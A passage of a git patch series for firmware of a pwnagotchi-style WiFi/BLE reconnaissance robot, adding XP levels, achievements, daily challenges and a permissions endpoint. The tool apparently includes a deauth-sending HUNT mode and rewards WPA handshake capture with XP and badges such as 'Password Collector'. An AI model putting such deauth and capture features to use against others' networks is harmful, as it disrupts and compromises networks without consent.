(strcmp(modeStr, "CONFIG") == 0) m = Mode::CONFIG; @@ -449,6 +465,34 @@ esp_err_t WebManager::apiPwnagotchiHandler(httpd_req_t* req) { return ESP_OK; } +esp_err_t WebManager::apiPermissionsHandler(httpd_req_t* req) { + char content[256]; + int ret = httpd_req_recv(req, content, sizeof(content) - 1); + if (ret <= 0) return ESP_FAIL; + content[ret] = '\0'; + + bool huntEnabled = false; + bool rogueEnabled = false; + + if (strstr(content, "\"huntEnabled\":true") != nullptr || strstr(content, "\"huntEnabled\": true") != nullptr) { + huntEnabled = true; + } + if (strstr(content, "\"rogueEnabled\":true") != nullptr || strstr(content, "\"rogueEnabled\": true") != nullptr) { + rogueEnabled = true; + } + + GotchiConfig cfg = gotchi::getConfig(); + cfg.huntEnabled = huntEnabled; + cfg.rogueEnabled = rogueEnabled; + gotchi::saveConfig(cfg); + + ESP_LOGI(TAG, "Permissions saved: hunt=%d, rogue=%d", huntEnabled, rogueEnabled); + + httpd_resp_set_type(req, "application/json"); + httpd_resp_send(req, "{\"status\":\"ok\"}", 16); + return ESP_OK; +} + WebManager& getWebManager() { static WebManager wm; return wm; diff --git a/firmware/main/gotchi/web_manager.h b/firmware/main/gotchi/web_manager.h index 32b1db8..72ddc87 100644 --- a/firmware/main/gotchi/web_manager.h +++ b/firmware/main/gotchi/web_manager.h @@ -35,6 +35,7 @@ class WebManager { static esp_err_t apiFilesHandler(httpd_req_t* req); static esp_err_t apiWigleHandler(httpd_req_t* req); static esp_err_t apiPwnagotchiHandler(httpd_req_t* req); + static esp_err_t apiPermissionsHandler(httpd_req_t* req); // HTML generation const char* generateHtml(); From 3024b19f28d77ebef886197c337c5bb64bac3174 Mon Sep 17 00:00:00 2001 From: Paul Butler Date: Tue, 12 May 2026 08:32:34 +0100 Subject: [PATCH 13/17] Update README with new 42-level XP system and achievements --- README.md | 15 +++++++++++++-- 1 file changed, 13 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index fffa1ae..c48f595 100644 --- a/README.md +++ b/README.md @@ -30,8 +30,19 @@ A **pwnagotchi-style WiFi/BLE reconnaissance companion** for M5Stack CoreS3 robo - BLE device scanning via NimBLE ### Gamification System -- XP earned from: networks discovered, handshakes captured, channels scanned, uptime -- 8 robot-themed levels (Unit → Omega) +- XP earned from: networks discovered (+1), handshakes captured (+25), channels visited (+5), BLE devices (+2), uptime (+1/min) +- **42 levels** with robot-themed titles: + - Levels 1-8: Unit → Omega + - Levels 9-16: Observer, Probe, Analyst, Decoder, Tracker, Hunter, Crawler, Synth + - Levels 17-24: Cortex, Nexus, Matrix, Quantum, Singularity, Hyperion, Archon, Titan + - Levels 25-32: Prime, Alpha, Omega Prime, Supreme, Transcendent, Paramount, Glorious, Eternal + - Levels 33-39: Legendary, Mythic, Omnipotent, Infinite, Absolute, Ultimate, Paramount + - **Level 40: Enigma** (hints at secrets) + - **Level 41: Marvin** (secret - requires prestige 1+) + - **Level 42: Deep Thought** (secret final level - requires prestige 2+) +- Prestige system: Reset to level 1, keep prestige count, +10% XP bonus per prestige level +- 37 achievements with XP rewards (hybrid system) +- Daily challenges with streak tracking - Persistent XP storage via ESP32 NVS ### Modes From c076110a5baeb681ad916c441dd08ab0ab54e9aa Mon Sep 17 00:00:00 2001 From: Paul Butler Date: Tue, 12 May 2026 08:33:23 +0100 Subject: [PATCH 14/17] Redesign XP system: 42 levels, 37 achievements, daily challenges, level-specific quotes --- firmware/main/apps/app_gotchi/app_gotchi.cpp | 91 ++++--- firmware/main/gotchi/achievement_system.cpp | 256 +++++++++++++++---- firmware/main/gotchi/achievement_system.h | 17 +- firmware/main/gotchi/gotchi.cpp | 97 ++++++- firmware/main/gotchi/gotchi.h | 40 ++- firmware/main/gotchi/idle_dialogue.cpp | 53 ++++ firmware/main/gotchi/idle_dialogue.h | 5 + firmware/main/gotchi/mode_manager.cpp | 84 +++++- firmware/main/gotchi/mode_manager.h | 8 +- firmware/main/gotchi/network_db.cpp | 4 + firmware/main/gotchi/rogue_manager.cpp | 7 +- firmware/main/gotchi/web_manager.cpp | 78 ++++-- firmware/main/gotchi/wifi_scanner.cpp | 10 +- firmware/main/gotchi/wifi_scanner.h | 2 + firmware/main/gotchi/xp_system.cpp | 75 +++++- firmware/main/gotchi/xp_system.h | 6 + firmware/main/stackchan/modifiers/speaking.h | 41 ++- 17 files changed, 724 insertions(+), 150 deletions(-) diff --git a/firmware/main/apps/app_gotchi/app_gotchi.cpp b/firmware/main/apps/app_gotchi/app_gotchi.cpp index 35b81bd..1c2e717 100644 --- a/firmware/main/apps/app_gotchi/app_gotchi.cpp +++ b/firmware/main/apps/app_gotchi/app_gotchi.cpp @@ -99,7 +99,7 @@ void AppGotchi::onOpen() { if (GetStackChan().hasAvatar()) { GetStackChan().avatar().setSpeech("Scanning..."); - GetStackChan().addModifier(std::make_unique(2000, 180, true)); + GetStackChan().addModifier(std::make_unique(2500, 180, true)); } _headYawOffset = 0; @@ -162,7 +162,7 @@ void AppGotchi::initGotchi() { mclog::tagInfo(getAppInfo().name, "WARNING: No storage - limited functionality!"); if (GetStackChan().hasAvatar()) { GetStackChan().avatar().setSpeech("No storage!"); - GetStackChan().addModifier(std::make_unique(3000, 180, true)); + GetStackChan().addModifier(std::make_unique(3500, 180, true)); } } } @@ -270,10 +270,18 @@ void AppGotchi::handleInput() { void AppGotchi::cycleMode() { gotchi::Mode next = gotchi::getModeInfo(_currentMode).nextMode; - // Skip disabled modes - for (int i = 0; i < 10 && !gotchi::canAccessMode(next); i++) { + // Skip disabled modes - keep trying until we find an accessible one or wrap completely + int attempts = 0; + while (!gotchi::canAccessMode(next) && attempts < 12) { next = gotchi::getModeInfo(next).nextMode; + attempts++; + } + + // Fallback to IDLE if somehow all modes are disabled (safety net) + if (!gotchi::canAccessMode(next)) { + next = gotchi::Mode::IDLE; } + _currentMode = next; gotchi::setMode(_currentMode); @@ -287,7 +295,7 @@ void AppGotchi::cycleMode() { gotchi::acknowledgeHuntDisclaimer(); if (GetStackChan().hasAvatar()) { GetStackChan().avatar().setSpeech("HUNT Mode!\nSends deauth frames.\nOK to proceed?"); - GetStackChan().addModifier(std::make_unique(4000, 180, true)); + GetStackChan().addModifier(std::make_unique(4500, 180, true)); } showedSpecialMessage = true; } @@ -296,7 +304,7 @@ void AppGotchi::cycleMode() { if (!showedSpecialMessage && _currentMode == gotchi::Mode::ROGUE) { if (GetStackChan().hasAvatar()) { GetStackChan().avatar().setSpeech("EDUCATIONAL!\nOwn networks only!"); - GetStackChan().addModifier(std::make_unique(3000, 180, true)); + GetStackChan().addModifier(std::make_unique(3500, 180, true)); } showedSpecialMessage = true; } @@ -310,12 +318,18 @@ void AppGotchi::cycleMode() { // Only show mode name if no special message was shown if (!showedSpecialMessage && GetStackChan().hasAvatar()) { GetStackChan().avatar().setSpeech(modeName); - GetStackChan().addModifier(std::make_unique(1500, 180, true)); + GetStackChan().addModifier(std::make_unique(2000, 180, true)); } } void AppGotchi::cycleModeBackward() { - _currentMode = gotchi::getModeInfo(_currentMode).prevMode; + gotchi::Mode prev = gotchi::getModeInfo(_currentMode).prevMode; + + // Skip disabled modes (same logic as forward cycle) + for (int i = 0; i < 10 && !gotchi::canAccessMode(prev); i++) { + prev = gotchi::getModeInfo(prev).prevMode; + } + _currentMode = prev; gotchi::setMode(_currentMode); gotchi::onModeEnter(_currentMode); @@ -323,7 +337,7 @@ void AppGotchi::cycleModeBackward() { const char* modeName = gotchi::getModeName(_currentMode); if (GetStackChan().hasAvatar()) { GetStackChan().avatar().setSpeech(modeName); - GetStackChan().addModifier(std::make_unique(1500, 180, true)); + GetStackChan().addModifier(std::make_unique(2000, 180, true)); } } @@ -783,39 +797,51 @@ void AppGotchi::renderUI() { } // STATS mode - full screen stats display else if (_currentMode == gotchi::Mode::STATS) { - // Full screen stats display - _networkListLabel->setSize(320, 220); - _networkListLabel->align(LV_ALIGN_BOTTOM_MID, 0, -5); + // Full screen stats display with new format + _networkListLabel->setSize(320, 217); + _networkListLabel->align(LV_ALIGN_BOTTOM_MID, 0, -2); _networkListLabel->setBgColor(lv_color_hex(0x1A0A1A)); // Dark purple bg _networkListLabel->setTextColor(lv_color_hex(0xDD88DD)); // Purple text - // Build full stats display - char statsDisplay[500]; + // Build full stats display with new fields + char statsDisplay[600]; const char* prestigeStr = stats.prestige > 0 ? "+P" : ""; int hours = stats.uptimeSeconds / 3600; int mins = (stats.uptimeSeconds % 3600) / 60; - int secs = stats.uptimeSeconds % 60; int sessHours = stats.sessionTimeSeconds / 3600; int sessMins = (stats.sessionTimeSeconds % 3600) / 60; + // Get level title - handle null + const char* titleStr = stats.levelTitle ? stats.levelTitle : "Unknown"; + snprintf(statsDisplay, sizeof(statsDisplay), "=========== STATS ============\n" - "Lv: %d%s XP: %d Prog: %d%%\n" - "Ach: %u/17 | Nets: %u | HS: %u\n" - "------------------------------\n" - "Session: %u nets | %dh%dm | +%u XP\n" - "Uptime: %dh%dm%ds | Heap: %d\n" + "%s (%d)%s\n" + "XP: %d/%d (%d%% to next)\n" + "------------------------\n" + "DISCOVERY:\n" + "Nets: %u | HS: %u | BLE: %u\n" + "Channels: %u\n" + "------------------------\n" + "PROGRESS:\n" + "Session: +%d XP (%dh%dm)\n" + "Achieve: %u/37 (+%d XP)\n" + "------------------------\n" + "SYSTEM:\n" + "Uptime: %dh%dm | Heap: %d\n" "GPS: %s (%d sats)", - (int)stats.level, prestigeStr, (int)stats.xp, - gotchi::getXPProgress(stats.xp, stats.level), - (unsigned)stats.achievementCount, + titleStr, (int)stats.level, prestigeStr, + (int)stats.xp, (int)stats.xpToNextLevel, (int)stats.progressPercent, (unsigned)stats.networksFound, (unsigned)stats.handshakesCaptured, - (unsigned)stats.sessionNetworks, sessHours, sessMins, - (unsigned)stats.sessionXPGain, - hours, mins, secs, + (unsigned)stats.bleDevicesFound, + (unsigned)stats.channelsScanned, + (int)stats.sessionXPGain, sessHours, sessMins, + (unsigned)stats.achievementCount, + (int)stats.achievementXP, + hours, mins, (int)stats.freeHeap, stats.gpsValid ? "OK" : "No", (int)stats.gpsSatellites); @@ -901,7 +927,7 @@ void AppGotchi::renderUI() { devices.back().name : "Unknown Device"; const char* phrase = _idleDialogue.getBLEDeviceFoundPhrase(latestName); GetStackChan().avatar().setSpeech(phrase); - GetStackChan().addModifier(std::make_unique(1500, 180, true)); + GetStackChan().addModifier(std::make_unique(2000, 180, true)); } // Flash neon lights briefly when BLE device found @@ -1500,10 +1526,13 @@ void AppGotchi::updateHeaderBoxes() { case gotchi::Mode::STATS: boxBgColor = lv_color_hex(0x330033); boxTextColor = lv_color_hex(0xFF88FF); - snprintf(boxText[0], 20, "Lv:%d%s", (int)stats.level, stats.prestige > 0 ? "+P" : ""); - snprintf(boxText[1], 20, "XP:%d", (int)stats.xp); - snprintf(boxText[2], 20, "Ach:%d/17", (int)stats.achievementCount); - snprintf(boxText[3], 20, "Up:%dh%dm", (int)(stats.uptimeSeconds / 3600), (int)((stats.uptimeSeconds % 3600) / 60)); + { + const char* titleStr = stats.levelTitle ? stats.levelTitle : "Unknown"; + snprintf(boxText[0], 20, "%s", titleStr); + snprintf(boxText[1], 20, "XP:%d", (int)stats.xp); + snprintf(boxText[2], 20, "Next:%d", (int)stats.xpToNextLevel); + snprintf(boxText[3], 20, "%d%%", (int)stats.progressPercent); + } break; default: boxBgColor = lv_color_hex(0x111111); diff --git a/firmware/main/gotchi/achievement_system.cpp b/firmware/main/gotchi/achievement_system.cpp index 364ee3f..4a103dd 100644 --- a/firmware/main/gotchi/achievement_system.cpp +++ b/firmware/main/gotchi/achievement_system.cpp @@ -3,6 +3,9 @@ * SPDX-License-Identifier: MIT */ #include "achievement_system.h" +#include "xp_system.h" +#include "wifi_scanner.h" +#include "network_db.h" #include #include #include @@ -12,64 +15,172 @@ static const char* TAG = "gotchi_achievements"; namespace gotchi { -const char* AchievementSystem::DAILY_CHALLENGES[][3] = { - {"Network Hunter", "Find 5 networks", "5"}, - {"Scanner", "Scan for 10 minutes", "10"}, - {"Signal Seeker", "Find a network with RSSI > -50", "-50"}, - {"First Catch", "Capture 1 handshake", "1"}, - {"Channel Surfer", "Visit 3 different channels", "3"}, - {"BLE Explorer", "Find 3 BLE devices", "3"}, - {"Persistence", "Run for 30 minutes", "30"}, - {"Multi-Channel", "Scan 5 different channels", "5"}, +const AchievementDef AchievementSystem::ACHIEVEMENTS[] = { + // Network discovery (8 achievements) + {"First Contact", "Discover your first WiFi network", 10, true}, + {"Curious", "Discover 10 networks", 25, true}, + {"Popular", "Discover 50 networks", 50, true}, + {"Crowd", "Discover 100 networks", 75, true}, + {"Hub", "Discover 250 networks", 100, true}, + {"Nexus", "Discover 500 networks", 150, true}, + {"Grid", "Discover 1000 networks", 200, true}, + {"Omni", "Discover 2000 networks", 200, true}, + + // Handshake capture (6 achievements) + {"First Handshake", "Capture your first handshake", 25, true}, + {"Key Collector", "Capture 5 handshakes", 50, true}, + {"Crypto Hunter", "Capture 10 handshakes", 75, true}, + {"Handshake Pro", "Capture 25 handshakes", 100, true}, + {"Password Collector", "Capture 50 handshakes", 150, true}, + {"Vault", "Capture 100 handshakes", 200, true}, + + // BLE discovery (5 achievements) + {"BLE Spotted", "Discover your first BLE device", 10, true}, + {"Bluetooth Hunter", "Discover 5 BLE devices", 25, true}, + {"BLE Scanner", "Discover 25 BLE devices", 50, true}, + {"Low Energy Master", "Discover 50 BLE devices", 75, true}, + {"Radio Wave", "Discover 100 BLE devices", 100, true}, + + // Channel exploration (4 achievements) + {"Channel Surfer", "Visit 3 different channels", 15, true}, + {"Frequency Jumper", "Visit 6 different channels", 25, true}, + {"Spectrum Explorer", "Visit 10 different channels", 50, true}, + {"All Channels", "Visit all 13 channels", 100, true}, + + // Time-based (4 achievements) + {"1 Hour", "Run for 1 hour", 10, true}, + {"Dedicated", "Run for 12 hours", 25, true}, + {"Week Warrior", "Run for 7 days", 75, true}, + {"Loyal", "Run for 30 days", 150, true}, + + // Mode usage (6 achievements) + {"Scout", "Use SCOUT mode", 10, true}, + {"Hunter", "Use HUNT mode", 10, true}, + {"War Driver", "Use WARDIVE mode", 10, true}, + {"Spectrum Analyzer", "Use SPECTRUM mode", 10, true}, + {"BLE Enumerator", "Use BLE_SCAN mode", 10, true}, + {"Config Master", "Use CONFIG mode", 10, true}, + + // Special (4 achievements) + {"First Prestige", "Reach prestige level 1", 100, true}, + {"Omega", "Reach prestige level 5", 200, false}, + {"Deep Thought", "Reach level 42", 200, true}, + {"Enigma", "Reach level 40 (hints at secrets)", 50, true}, +}; + +const char* AchievementSystem::DAILY_CHALLENGES[] = { + "Network Hunter|Discover 5 networks|50", + "Scanner|Scan for 10 minutes|50", + "Signal Seeker|Find a network with RSSI > -50|50", + "First Catch|Capture 1 handshake|75", + "Channel Surfer|Visit 3 different channels|50", + "BLE Explorer|Find 3 BLE devices|50", + "Persistence|Run for 30 minutes|50", + "Multi-Channel|Scan 5 different channels|50", }; AchievementSystem::AchievementSystem() - : _achievementsBitmask(0), _achievementCount(0), + : _achievementsBitmask(0), _achievementCount(0), _achievementXP(0), _dailyChallengeSeed(0), _dailyChallengeCompleted(false), - _initialized(false) {} + _dailyStreak(0), _initialized(false) {} void AchievementSystem::init() { if (_initialized) return; loadFromNVS(); _initialized = true; - ESP_LOGI(TAG, "Achievement System initialized: %u achievements", _achievementCount); + ESP_LOGI(TAG, "Achievement System initialized: %u achievements, %d XP", _achievementCount, (int)_achievementXP); } void AchievementSystem::update(uint32_t networksFound, uint32_t handshakes, uint32_t uptimeHours, Mode mode, bool rogue, bool config) { - uint32_t oldAchievements = _achievementsBitmask; + uint64_t oldAchievements = _achievementsBitmask; checkUnlockAchievements(networksFound, handshakes, uptimeHours, mode, rogue, config); if (_achievementsBitmask != oldAchievements) { - _achievementCount = __builtin_popcount(_achievementsBitmask); + uint64_t newlyUnlocked = _achievementsBitmask & ~oldAchievements; + + // Calculate XP from newly unlocked achievements + for (int i = 0; i < 37; i++) { + if (newlyUnlocked & (1ULL << i)) { + if (ACHIEVEMENTS[i].grantsXP) { + _achievementXP += ACHIEVEMENTS[i].xpReward; + // Award the XP + addXP(ACHIEVEMENTS[i].xpReward); + ESP_LOGI(TAG, "Achievement '%s' unlocked! +%d XP", + ACHIEVEMENTS[i].name, ACHIEVEMENTS[i].xpReward); + } + } + } + + _achievementCount = __builtin_popcountll(_achievementsBitmask); saveToNVS(); - ESP_LOGI(TAG, "Achievement unlocked! Total: %u", _achievementCount); + ESP_LOGI(TAG, "Achievement(s) unlocked! Total: %u, Total XP: %d", + _achievementCount, (int)_achievementXP); } } +void AchievementSystem::unlockAchievement(int index) { + if (index < 0 || index >= 37) return; + _achievementsBitmask |= (1ULL << index); +} + void AchievementSystem::checkUnlockAchievements(uint32_t networksFound, uint32_t handshakes, uint32_t uptimeHours, Mode mode, bool rogue, bool config) { - if (networksFound >= 1) _achievementsBitmask |= (1 << 0); - if (networksFound >= 10) _achievementsBitmask |= (1 << 1); - if (networksFound >= 50) _achievementsBitmask |= (1 << 2); - if (networksFound >= 100) _achievementsBitmask |= (1 << 3); - if (networksFound >= 500) _achievementsBitmask |= (1 << 4); - - if (handshakes >= 1) _achievementsBitmask |= (1 << 5); - if (handshakes >= 5) _achievementsBitmask |= (1 << 6); - if (handshakes >= 10) _achievementsBitmask |= (1 << 7); - if (handshakes >= 25) _achievementsBitmask |= (1 << 8); - - if (uptimeHours >= 1) _achievementsBitmask |= (1 << 9); - if (uptimeHours >= 24) _achievementsBitmask |= (1 << 10); - if (uptimeHours >= 168) _achievementsBitmask |= (1 << 11); - - if (mode == Mode::SCOUT) _achievementsBitmask |= (1 << 12); - if (mode == Mode::HUNT) _achievementsBitmask |= (1 << 13); - if (mode == Mode::WARDIVE) _achievementsBitmask |= (1 << 14); - if (mode == Mode::BLE_SCAN) _achievementsBitmask |= (1 << 15); - - if (rogue) _achievementsBitmask |= (1 << 16); - if (config) _achievementsBitmask |= (1 << 17); + // Network discovery (0-7) + if (networksFound >= 1) unlockAchievement(0); + if (networksFound >= 10) unlockAchievement(1); + if (networksFound >= 50) unlockAchievement(2); + if (networksFound >= 100) unlockAchievement(3); + if (networksFound >= 250) unlockAchievement(4); + if (networksFound >= 500) unlockAchievement(5); + if (networksFound >= 1000) unlockAchievement(6); + if (networksFound >= 2000) unlockAchievement(7); + + // Handshake capture (8-13) + if (handshakes >= 1) unlockAchievement(8); + if (handshakes >= 5) unlockAchievement(9); + if (handshakes >= 10) unlockAchievement(10); + if (handshakes >= 25) unlockAchievement(11); + if (handshakes >= 50) unlockAchievement(12); + if (handshakes >= 100) unlockAchievement(13); + + // BLE discovery (14-18) + int bleCount = getBLEDeviceCount(); + if (bleCount >= 1) unlockAchievement(14); + if (bleCount >= 5) unlockAchievement(15); + if (bleCount >= 25) unlockAchievement(16); + if (bleCount >= 50) unlockAchievement(17); + if (bleCount >= 100) unlockAchievement(18); + + // Channel exploration (19-22) + uint16_t channelsVisited = getWifiScanner().getChannelsVisitedMask(); + int channelCount = __builtin_popcount(channelsVisited); + if (channelCount >= 3) unlockAchievement(19); + if (channelCount >= 6) unlockAchievement(20); + if (channelCount >= 10) unlockAchievement(21); + if (channelCount >= 13) unlockAchievement(22); + + // Time-based (23-26) + if (uptimeHours >= 1) unlockAchievement(23); + if (uptimeHours >= 12) unlockAchievement(24); + if (uptimeHours >= 168) unlockAchievement(25); + if (uptimeHours >= 720) unlockAchievement(26); + + // Mode usage (27-32) + if (mode == Mode::SCOUT) unlockAchievement(27); + if (mode == Mode::HUNT) unlockAchievement(28); + if (mode == Mode::WARDIVE) unlockAchievement(29); + if (mode == Mode::SPECTRUM) unlockAchievement(30); + if (mode == Mode::BLE_SCAN) unlockAchievement(31); + if (mode == Mode::CONFIG) unlockAchievement(32); + + // Special (33-36) + uint8_t prestige = getPrestige(); + if (prestige >= 1) unlockAchievement(33); + if (prestige >= 5) unlockAchievement(34); + + int32_t level = getXPSystem().getLevel(); + if (level >= 40) unlockAchievement(35); // Enigma + if (level >= 42) unlockAchievement(36); // Deep Thought } bool AchievementSystem::getDailyChallenge(ChallengeInfo& challenge) { @@ -80,9 +191,36 @@ bool AchievementSystem::getDailyChallenge(ChallengeInfo& challenge) { _dailyChallengeSeed = dayOfYear; int challengeIndex = dayOfYear % 8; - challenge.name = DAILY_CHALLENGES[challengeIndex][0]; - challenge.description = DAILY_CHALLENGES[challengeIndex][1]; - challenge.xpReward = atoi(DAILY_CHALLENGES[challengeIndex][2]) * 5; + + // Parse challenge string: "name|description|xp" + const char* challengeStr = DAILY_CHALLENGES[challengeIndex]; + static char name[32], desc[64], xpStr[8]; + + // Simple parsing - find the | separators + const char* p = challengeStr; + const char* start = p; + int pos = 0; + while (*p && pos < 3) { + if (*p == '|') { + if (pos == 0) { + memcpy(name, start, p - start); + name[p - start] = '\0'; + } else if (pos == 1) { + memcpy(desc, start, p - start); + desc[p - start] = '\0'; + } + start = p + 1; + pos++; + } + p++; + } + if (pos == 2) { + strcpy(xpStr, start); + } + + challenge.name = name; + challenge.description = desc; + challenge.xpReward = atoi(xpStr); challenge.isDaily = true; challenge.isOneTime = false; @@ -93,13 +231,17 @@ bool AchievementSystem::completeDailyChallenge() { if (_dailyChallengeCompleted) return false; _dailyChallengeCompleted = true; - saveToNVS(); + _dailyStreak++; + // Award XP for completing the challenge ChallengeInfo challenge; if (getDailyChallenge(challenge)) { - ESP_LOGI(TAG, "Daily challenge completed! +%d XP", (int)challenge.xpReward); + addXP(challenge.xpReward); + ESP_LOGI(TAG, "Daily challenge completed! +%d XP (streak: %u)", + (int)challenge.xpReward, _dailyStreak); } + saveToNVS(); return true; } @@ -107,28 +249,40 @@ void AchievementSystem::loadFromNVS() { nvs_handle_t nvs; if (nvs_open("gotchi", NVS_READONLY, &nvs) != ESP_OK) return; - uint32_t val = 0; - if (nvs_get_u32(nvs, "achievements", &val) == ESP_OK) { - _achievementsBitmask = val; - _achievementCount = __builtin_popcount(val); + uint64_t val64 = 0; + uint32_t val32 = 0; + int32_t valSigned = 0; + + if (nvs_get_u64(nvs, "achievements", &val64) == ESP_OK) { + _achievementsBitmask = val64; + _achievementCount = __builtin_popcountll(val64); + } + if (nvs_get_i32(nvs, "achxp", &valSigned) == ESP_OK) { + _achievementXP = valSigned; + } + if (nvs_get_u32(nvs, "dailyseed", &val32) == ESP_OK) { + _dailyChallengeSeed = val32; } - if (nvs_get_u32(nvs, "dailyseed", &val) == ESP_OK) { - _dailyChallengeSeed = val; + if (nvs_get_u32(nvs, "dailydone", &val32) == ESP_OK) { + _dailyChallengeCompleted = (val32 == 1); } - if (nvs_get_u32(nvs, "dailydone", &val) == ESP_OK) { - _dailyChallengeCompleted = (val == 1); + if (nvs_get_u32(nvs, "dailystreak", &val32) == ESP_OK) { + _dailyStreak = val32; } nvs_close(nvs); + ESP_LOGI(TAG, "Loaded achievements: %u, XP: %d", _achievementCount, (int)_achievementXP); } void AchievementSystem::saveToNVS() { nvs_handle_t nvs; if (nvs_open("gotchi", NVS_READWRITE, &nvs) != ESP_OK) return; - nvs_set_u32(nvs, "achievements", _achievementsBitmask); + nvs_set_u64(nvs, "achievements", _achievementsBitmask); + nvs_set_i32(nvs, "achxp", _achievementXP); nvs_set_u32(nvs, "dailyseed", _dailyChallengeSeed); nvs_set_u32(nvs, "dailydone", _dailyChallengeCompleted ? 1 : 0); + nvs_set_u32(nvs, "dailystreak", _dailyStreak); nvs_commit(nvs); nvs_close(nvs); } diff --git a/firmware/main/gotchi/achievement_system.h b/firmware/main/gotchi/achievement_system.h index e815dd9..9e4af5a 100644 --- a/firmware/main/gotchi/achievement_system.h +++ b/firmware/main/gotchi/achievement_system.h @@ -8,6 +8,13 @@ namespace gotchi { +struct AchievementDef { + const char* name; + const char* description; + uint8_t xpReward; + bool grantsXP; +}; + class AchievementSystem { public: AchievementSystem(); @@ -17,22 +24,28 @@ class AchievementSystem { uint32_t getAchievementCount() const { return _achievementCount; } uint32_t getAchievementsBitmask() const { return _achievementsBitmask; } + int32_t getAchievementXP() const { return _achievementXP; } bool getDailyChallenge(ChallengeInfo& challenge); bool completeDailyChallenge(); + uint32_t getDailyStreak() const { return _dailyStreak; } void loadFromNVS(); void saveToNVS(); private: void checkUnlockAchievements(uint32_t networksFound, uint32_t handshakes, uint32_t uptimeHours, Mode mode, bool rogue, bool config); + void unlockAchievement(int index); - static const char* DAILY_CHALLENGES[][3]; + static const AchievementDef ACHIEVEMENTS[]; + static const char* DAILY_CHALLENGES[]; - uint32_t _achievementsBitmask; + uint64_t _achievementsBitmask; uint32_t _achievementCount; + int32_t _achievementXP; uint32_t _dailyChallengeSeed; bool _dailyChallengeCompleted; + uint32_t _dailyStreak; bool _initialized; }; diff --git a/firmware/main/gotchi/gotchi.cpp b/firmware/main/gotchi/gotchi.cpp index 6a7fedf..d505dc1 100644 --- a/firmware/main/gotchi/gotchi.cpp +++ b/firmware/main/gotchi/gotchi.cpp @@ -32,6 +32,8 @@ static uint32_t _sessionStartTime = 0; static uint32_t _sessionStartXP = 0; static int32_t _minHeapSession = 0; static bool _huntDisclaimerShown = false; +static uint16_t _lastTrackedChannels = 0; +static int _lastTrackedBLECount = 0; static GotchiConfig _config; @@ -40,6 +42,11 @@ const char* getModeName(Mode mode) { } const char* getLevelTitle(int level) { + if (level < 1 || level > 42) level = 1; + return getXPSystem().getLevelTitle(); +} + +const char* getCurrentLevelTitle() { return getXPSystem().getLevelTitle(); } @@ -47,10 +54,30 @@ int getXPForLevel(int level) { return getXPSystem().getXPForLevel(level); } +int getXPToNextLevel() { + return getXPSystem().getXPToNextLevel(); +} + +int getXPToMaxLevel() { + return getXPSystem().getXPToMaxLevel(); +} + int getXPProgress(int32_t xp, int level) { return getXPSystem().getXPProgress(); } +bool isLevelSecret(int level) { + return getXPSystem().isLevelSecret(level); +} + +bool isLevelUnlocked(int level) { + return getXPSystem().isLevelUnlocked(level); +} + +float getXPMultiplier() { + return getXPSystem().getXPMultiplier(); +} + static void loadFromNVS() { nvs_handle_t nvs; esp_err_t err = nvs_open("gotchi", NVS_READONLY, &nvs); @@ -141,13 +168,43 @@ void update() { uint32_t now = GetHAL().millis(); uint32_t uptime = (now - _startTime) / 1000; - if (uptime % 3000 == 0 && uptime > 0) { + // Uptime XP: +1 XP per minute + if (uptime % 60 == 0 && uptime > 0) { addXP(1); } + // Network XP: +1 XP per minute if networks found if (getNetworkDatabase().getNetworksFound() > 0 && (now % 60000) < 100) { addXP(1); } + + // Handshake XP: +25 XP per handshake (check for new handshakes) + int currentHandshakes = getHandshakeParser().getCapturedCount(); + if (currentHandshakes > (int)_handshakesCaptured) { + int newHandshakes = currentHandshakes - _handshakesCaptured; + _handshakesCaptured = currentHandshakes; + addXP(newHandshakes * 25); + ESP_LOGI(TAG, "New handshake(s)! Awarded %d XP", newHandshakes * 25); + } + + // Channel XP: +5 XP for each unique channel visited + uint16_t channelsVisited = getWifiScanner().getChannelsVisitedMask(); + uint16_t newChannels = channelsVisited & ~_lastTrackedChannels; + int newChannelCount = __builtin_popcount(newChannels); + if (newChannelCount > 0) { + _lastTrackedChannels = channelsVisited; + addXP(newChannelCount * 5); + ESP_LOGI(TAG, "New channel(s) visited! Awarded %d XP", newChannelCount * 5); + } + + // BLE XP: +2 XP per new BLE device + int currentBLEDevices = getNetworkDatabase().getBLEDeviceCount(); + if (currentBLEDevices > _lastTrackedBLECount) { + int newDevices = currentBLEDevices - _lastTrackedBLECount; + _lastTrackedBLECount = currentBLEDevices; + addXP(newDevices * 2); + ESP_LOGI(TAG, "New BLE device(s)! Awarded %d XP", newDevices * 2); + } } void shutdown() { @@ -181,25 +238,50 @@ Mood getCurrentMood() { Stats getStats() { Stats stats; + + // Core XP stats.xp = getXPSystem().getXP(); stats.level = getXPSystem().getLevel(); + stats.xpToNextLevel = getXPSystem().getXPToNextLevel(); + stats.xpToMaxLevel = getXPSystem().getXPToMaxLevel(); + stats.levelTitle = getXPSystem().getLevelTitle(); + stats.prestige = getXPSystem().getPrestige(); + stats.progressPercent = getXPSystem().getXPProgress(); + + // Discovery stats stats.networksFound = getNetworkDatabase().getNetworksFound(); stats.handshakesCaptured = _handshakesCaptured; + stats.bleDevicesFound = getNetworkDatabase().getBLEDeviceCount(); stats.channelsScanned = getWifiScanner().getChannelsScanned(); - stats.uptimeSeconds = (GetHAL().millis() - _startTime) / 1000; - stats.sessionNetworks = getNetworkDatabase().getNetworkCount(); + // Achievement stats + stats.achievementCount = getAchievementSystem().getAchievementCount(); + stats.achievementXP = 0; + + // Time stats + stats.uptimeSeconds = (GetHAL().millis() - _startTime) / 1000; stats.sessionTimeSeconds = (GetHAL().millis() - _sessionStartTime) / 1000; - stats.sessionStartTime = _sessionStartTime; + stats.totalSessions = 1; + + // XP stats stats.sessionXPGain = getXPSystem().getXP() - _sessionStartXP; - stats.currentChannel = getWifiScanner().getCurrentChannel(); + stats.totalXPGained = getXPSystem().getXP(); + + // Daily challenge + ChallengeInfo challenge; + stats.dailyChallengeActive = getAchievementSystem().getDailyChallenge(challenge); + stats.dailyChallengeName = challenge.name; + stats.dailyChallengeComplete = false; + // System + stats.currentChannel = getWifiScanner().getCurrentChannel(); stats.freeHeap = heap_caps_get_free_size(MALLOC_CAP_8BIT); if (_minHeapSession == 0 || stats.freeHeap < _minHeapSession) { _minHeapSession = stats.freeHeap; } stats.minHeap = _minHeapSession; + // GPS data GPSData gps = getGpsManager().getData(); stats.gpsValid = gps.valid; stats.gpsSatellites = gps.satellites; @@ -217,8 +299,9 @@ void addXP(int32_t amount) { if (!_initialized) return; if (amount <= 0) return; - float multiplier = getModeInfo(getCurrentMode()).xpMultiplier; - int32_t 